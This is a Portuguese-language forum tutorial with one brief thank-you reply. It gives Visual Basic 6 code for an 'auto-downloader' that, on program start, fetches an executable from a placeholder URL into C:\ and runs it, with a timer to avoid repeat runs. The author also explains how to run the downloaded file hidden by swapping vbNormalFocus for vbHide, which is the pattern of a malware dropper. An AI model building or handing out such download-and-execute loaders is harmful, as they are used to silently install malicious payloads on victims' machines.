[Tutorial] Auto-Download

[THiaG04EveR]

Hi,

Nesse tutorial mostro como montar um auto-downloader, Bem simples e pequeno.
Inicie um novo projeto Stardard EXE. Adicione um Modulo e nele insira o seguinte código:

Declare Sub URLDownloadToFileA Lib "URLMON" (ByVal e As Long, ByVal w As String, ByVal f As String, ByVal g As Long, ByVal n As Long)
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

De 2 cliques no form e no evento Load insira o código:

'Obs.: Para o auto-download funcionar, tem que ser link direto!
URLDownloadToFileA 0, "http://www.site.com/seu_executevel.exe", "c:\seu_executavel.exe", 0, 0

Isso fará com que o programa baixe o executavel para o diretório. Agora adicione um Timer, nele vamos botar o comando de executar o EXE e uma verificação, para que o programa nao execute varias vezes o arquivo baixado. Então inserimos:

If Dir("C:\seu_executavel.exe") = "" Then 'Verifica se o arquivo ja foi baixado no diretório
Timer1.Enabled = True 'caso não deixa o timer ativo para continuar a verificação..
Else ' caso sontrário:
Shell "C:\seu_executavel.exe", vbNormalFocus 'Executa o arquivo...
Timer1.Enabled = False 'Desativa o timer para evitar que o arquivo baixado seja executado mais de uma vez...
End If

Neste exemplo ele executa o arquivo em modo normal, caso vc queria que ele execute em modo escondido, substitua vbNormalFocus por vbHide.

Obs.: O intevalo do tiimer fica à gosto de vcs ;] Quanto menor for o numero, mais rapido ele vai ficar verificando se o arquivo foi baixado.

Salve-o, compile e seja feliz :]

T+

[JeanM]

Otimo, Valew